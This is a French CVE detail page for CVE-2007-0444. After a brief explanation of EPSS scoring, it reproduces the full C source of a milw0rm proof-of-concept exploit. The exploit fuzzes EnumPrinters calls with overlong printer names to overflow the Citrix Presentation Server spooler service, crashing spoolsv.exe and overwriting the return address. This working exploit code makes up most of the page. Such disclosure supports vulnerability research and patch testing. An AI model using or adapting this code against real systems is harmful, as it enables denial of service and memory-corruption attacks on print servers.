CVE-2007-0444 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

/* Proof of concept exploit for ZDI - Citrix Metaframe spooler service vulnerability Microsoft Windows - EnumPrinter() & EnumPrinterW() Fuzzer v0.1 Author: Andres Tarasco Acuña - atarasco@514.es url: http://www.514.es This is an intial version of EnumPrinter() and OpenPrinter() fuzzer. I hope that it will help to identify similar vulnerabilities. Tested against win2k3 + Citrix presentation server. If the system is vulnerable this application will kill spooler service (spoolsv.exe ) and ret will be overwritten with 0x00410041 514 Tiger Team ownz u */ #include <stdio.h> #include <windows.h> #include <Winspool.h> #pragma comment(lib,"Winspool.lib") void usage(char *name) { printf("Usage: %s -a (Ascii fuzzing for local printer providers)\n",name); printf("Usage: %s -u (Unicode fuzzing for local printer providers)\n",name); exit(0); } #define RECURSIVE 1 #define OPT_UNICODE 2 #define MAX_PRINTER_LEN 4096 #define _DBG_ #undef _DBG_ int CustomFuzzSize[]= {25,50,100,150,250,300,500,1000,1500, 2000}; wchar_t dst[MAX_PRINTER_LEN]; void Fuzzer( wchar_t *orig,int opt, int unicode) { int i,j; int len; if (unicode) len=wcslen(orig); else len=strlen((char *)orig); memset((char *)dst,'\0',sizeof(dst)); memcpy((char *)dst,orig,len*(1+unicode)); j=wcslen(orig); for(i=0;i<CustomFuzzSize[opt];i++) { if (unicode) dst[j+i]='A'; else ((char *)dst)[j+i]=(char)'A'; } if (opt==0) { if (unicode) printf("Fuzzing: %S ( %i -%i)\n",dst,CustomFuzzSize[0],CustomFuzzSize[sizeof(CustomFuzzSize)/sizeof(int)-1]); else printf("Fuzzing: %s ( %i -%i)\n",dst,CustomFuzzSize[0],CustomFuzzSize[sizeof(CustomFuzzSize)/sizeof(int)-1]); } } DWORD ShowPrinterInfo(wchar_t *lpName, int level, int opt, char *padding) { unsigned char *lpInfo; int i,j; DWORD n; DWORD dwSizeNeeded=0; char newpadding[50]; DWORD ret; if (opt & OPT_UNICODE) { EnumPrintersW ( PRINTER_ENUM_NAME, (wchar_t* )lpName, level, NULL, 0, &dwSizeNeeded, &n ); } else { EnumPrintersA ( PRINTER_ENUM_NAME, (char *)lpName, level, NULL, 0, &dwSizeNeeded, &n ); } if (dwSizeNeeded==0) { #ifdef _DBG_ printf ( "EnumPrintersX() Invalid. Error: %d \n",GetLastError() ); #endif return(-1); } lpInfo = (void *)HeapAlloc ( GetProcessHeap (), HEAP_ZERO_MEMORY, dwSizeNeeded ); if ( lpInfo != NULL ) { if (opt & OPT_UNICODE) { ret=EnumPrintersW ( PRINTER_ENUM_NAME,(wchar_t *)lpName,level,(LPBYTE)lpInfo,dwSizeNeeded,&dwSizeNeeded,&n); } else { ret=EnumPrintersA ( PRINTER_ENUM_NAME,(char *)lpName,level,(LPBYTE)lpInfo,dwSizeNeeded,&dwSizeNeeded,&n); } if ( ret== 0 ) { #ifdef _DBG_ printf ( "EnumPrintersX() Failed. Error: %d ( %i)\n",GetLastError(),dwSizeNeeded ); #endif HeapFree ( GetProcessHeap (), 0, lpInfo ); return 0; } else { PRINTER_INFO_1 *dataI; PRINTER_INFO_2 *dataII; for ( i=0; i < n; i++ ) { dataI=(PRINTER_INFO_1*)lpInfo; printf("%s",padding); if (opt & OPT_UNICODE) { if (dataI[i].pName) printf(" %S - ",(dataI[i].pName)); if (dataI[i].pDescription) printf(" %S ",(dataI[i].pDescription)); //if (dataI[i].pComment) printf(" %S - ",(dataI[i].pComment)); } else { if (dataI[i].pName) printf(" %s - ",(dataI[i].pName)); if (dataI[i].pDescription) printf(" %s ",(dataI[i].pDescription)); //if (dataI[i].pComment) printf(" %s - ",(dataI[i].pComment)); } printf("\n"); for(j=0;j<sizeof(CustomFuzzSize)/sizeof(int);j++) { if (opt & OPT_UNICODE) { Fuzzer( (wchar_t *) dataI[0].pName, j,opt & OPT_UNICODE); ShowPrinterInfo((wchar_t*)dst,level, OPT_UNICODE, newpadding); } else { Fuzzer( (wchar_t *) dataI[0].pName, j,opt & OPT_UNICODE); ShowPrinterInfo((wchar_t*)dst,level, 0, newpadding); } } if (opt & RECURSIVE ) { strcpy (newpadding,padding); strcat(newpadding,"---"); newpadding[1]='+'; ShowPrinterInfo(dataI[i].pName,level, opt, newpadding); } printf("\n"); } HeapFree ( GetProcessHeap (), 0, lpInfo ); } } return(1); } int testPrinters(void) { DWORD size,ret,err; ret=EnumPrintersW ( PRINTER_ENUM_NAME, NULL, 1, NULL, 0, &size, &size ); if ( ret==0 ) { err=GetLastError(); if (err!=122) { //size error printf("[-] Printer Service not available - Error: %d\n",err ); exit(-1); } } return(1); } int main ( int argc, char *argv[] ) { printf("[+] Citrix Presentation Server - Local EnumPrinterW() POC exploit\n"); printf("[+] Discovered by ZDI - http://secunia.com/advisories/23869/\n"); printf("[+] Proof of concept by Andres Tarasco - atarasco@514.es\n\n"); if (argc!=2) usage(argv[0]); testPrinters(); printf("[+] Printer Service Seems to be working.. Fuzzing\n"); if ( (argv[1][1]=='u')) { ShowPrinterInfo(NULL,1,3,"[*]"); testPrinters(); } if ( (argv[1][1]=='a')) { ShowPrinterInfo(NULL,1,1,"[*]"); testPrinters(); } return(0); } // milw0rm.com [2007-01-26]